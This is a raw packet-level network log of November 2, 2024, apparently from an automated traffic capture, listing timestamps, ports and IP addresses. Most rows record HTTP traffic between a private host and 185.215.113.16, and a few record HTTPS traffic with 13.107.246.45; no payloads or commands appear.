Nov 2, 2024 07:16:15.406622887 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406635046 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406640053 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406646967 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406657934 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406670094 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406675100 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406691074 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406709909 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406727076 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406838894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406852961 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406862974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406868935 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406876087 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406888008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406898975 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406910896 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406936884 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.406944036 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406955004 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406965971 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.406987906 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.407011032 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.407011986 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407023907 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407033920 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407052040 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.407066107 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407077074 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407082081 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.407089949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407108068 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407108068 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.407119036 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407133102 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407134056 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.407144070 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407156944 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.407179117 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.407185078 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407195091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407205105 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407216072 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407227039 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.407247066 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.407253027 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407274961 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407310963 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.407375097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407385111 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407393932 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.407421112 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.408163071 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.447819948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.447832108 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.447840929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.447885990 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.447913885 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.468461990 CET	63834	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.468497038 CET	443	63834	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.468589067 CET	63834	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.474721909 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.474731922 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.474740982 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.474752903 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.474785089 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.474805117 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.474858999 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.474878073 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.474894047 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.474911928 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.474912882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.474942923 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.474960089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.474971056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.474982023 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.474992037 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475007057 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475084066 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475122929 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475146055 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475155115 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475186110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475187063 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475197077 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475207090 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475214005 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475219011 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475228071 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475231886 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475244999 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475255966 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475269079 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475331068 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475342035 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475352049 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475366116 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475384951 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475438118 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475449085 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475459099 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475471020 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475476980 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475481987 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475493908 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475493908 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475517988 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475541115 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475714922 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475754023 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475755930 CET	63834	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.475759029 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475765944 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475769997 CET	443	63834	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.475799084 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475800037 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475812912 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475826025 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475837946 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475837946 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475857973 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475861073 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475860119 CET	443	63830	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.475874901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475886106 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475910902 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.475964069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475975037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475986004 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.475999117 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476001024 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476015091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476018906 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476043940 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476064920 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476083040 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476094007 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476113081 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476128101 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476222038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476233006 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476244926 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476255894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476258993 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476268053 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476279020 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476280928 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476295948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476304054 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476306915 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476327896 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476341009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476341963 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476366997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476373911 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476377964 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476397038 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476407051 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476413012 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476419926 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476450920 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476490021 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476500988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476511955 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476527929 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476541996 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476552963 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476563931 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476573944 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476587057 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476598978 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476610899 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476610899 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476635933 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476645947 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476645947 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476670027 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476680994 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476684093 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476692915 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476725101 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476785898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476819992 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476846933 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476856947 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476874113 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476877928 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476885080 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476896048 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476900101 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476912022 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.476914883 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476933002 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476958036 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.476985931 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477004051 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477013111 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477022886 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477022886 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477035999 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477036953 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477047920 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477061033 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477081060 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477082968 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477113008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477123022 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477144003 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477157116 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477164030 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477174997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477184057 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477197886 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477209091 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477216005 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477227926 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477232933 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477245092 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477247953 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477257967 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477263927 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477269888 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477281094 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477293015 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477298021 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477308035 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477308035 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477332115 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477335930 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477344990 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477348089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477360010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477365971 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477371931 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477380991 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477397919 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477411032 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477413893 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477425098 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477435112 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477452040 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477473974 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477488995 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477543116 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477576017 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477586031 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477596045 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477605104 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477612019 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477616072 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477627993 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.477637053 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477662086 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.477684021 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.480334997 CET	63830	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.480375051 CET	443	63830	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.483851910 CET	63830	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.483871937 CET	443	63830	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.516453028 CET	443	63831	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.523696899 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.523710012 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.523720980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.523734093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.523768902 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.523788929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.523798943 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.523802042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.523825884 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.523847103 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524316072 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524328947 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524339914 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524353981 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524363041 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524370909 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524383068 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524394989 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524396896 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524403095 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524406910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524418116 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524430990 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524430990 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524456024 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524457932 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524468899 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524475098 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524481058 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524492979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524502039 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524504900 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524514914 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524518013 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524527073 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524538040 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524542093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524561882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524566889 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524584055 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524590969 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524596930 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524610043 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524617910 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524626970 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524650097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524657965 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524682999 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524682999 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524696112 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524713993 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524734974 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524766922 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524779081 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524796009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524811983 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524813890 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524823904 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524836063 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524836063 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524853945 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524863005 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524873972 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524878025 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524897099 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524913073 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524929047 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524944067 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524955988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.524980068 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.524991035 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525024891 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525043964 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525057077 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525067091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525077105 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525080919 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525099993 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525100946 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525113106 CET	80	63819	185.215.113.16	192.168.2.4
